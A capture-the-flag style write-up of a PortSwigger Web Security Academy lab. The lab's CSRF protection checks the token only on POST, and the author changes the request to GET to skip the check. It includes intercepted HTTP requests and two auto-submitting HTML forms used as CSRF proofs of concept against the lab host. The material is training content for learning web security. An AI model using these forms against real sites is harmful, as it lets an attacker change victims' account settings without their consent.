Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — Method-Based Token Bypass
Difficulty Practitioner
Objective Change the victim's email address by bypassing CSRF token validation

CSRF Where Token Validation Depends on Request Method — Writeup


Initial Observation

Logged in as wiener:peter. Account page shows:

My Account

Your username is: wiener
Your email is: wiener@normal-user.net
Screenshot

Web — Email Change Request Analysis

Intercepting the email update with Burp:

Screenshot
POST /my-account/change-email HTTP/2
email=teto@tetomail.com&csrf=Q2Cehb9TAQnrCHqpEcbyS2bZ3e8P670R

A CSRF token is present. A standard PoC won't work without knowing the victim's token value. The real question is whether the server validates the token on all request methods, or only on POST.


Method Switch — Bypassing Token Validation

Using Burp's "Change request method" to convert the POST to a GET:

GET /my-account/change-email?email=teto@tetomail.com&csrf=Q2Cehb9TAQnrCHqpEcbyS2bZ3e8P670R HTTP/2
Screenshot

The server returns 302 Found:

Screenshot

Following the redirect gives 200 OK — email changed to miku@tetomail.com:

Screenshot

The server only validates the CSRF token on POST. A GET to the same endpoint processes the change with no token check at all. From here the PoC needs zero knowledge of the victim's token.

Building the PoC

Manual — modified source form:

<form class="login-form" name="change-email-form" action="https://0a89003e045ece2881984dc5007300b6.web-security-academy.net/my-account/change-email" method="GET">
    <input required="" type="email" name="email" value="miku@mikumail.com">
    <button class="button" type="submit"> Update email </button>
</form>

<script>
  document.forms[0].submit();
</script>
Screenshot

Burp-generated PoC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a89003e045ece2881984dc5007300b6.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="hacked@tetomail.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

[!note] Burp omits the method attribute entirely — forms default to GET when it's absent, which is exactly what's needed here.

Pasting the Burp PoC into the exploit server and viewing it while logged in as wiener confirms the email changes. Delivering to the victim solves the lab :P

Screenshot

Resources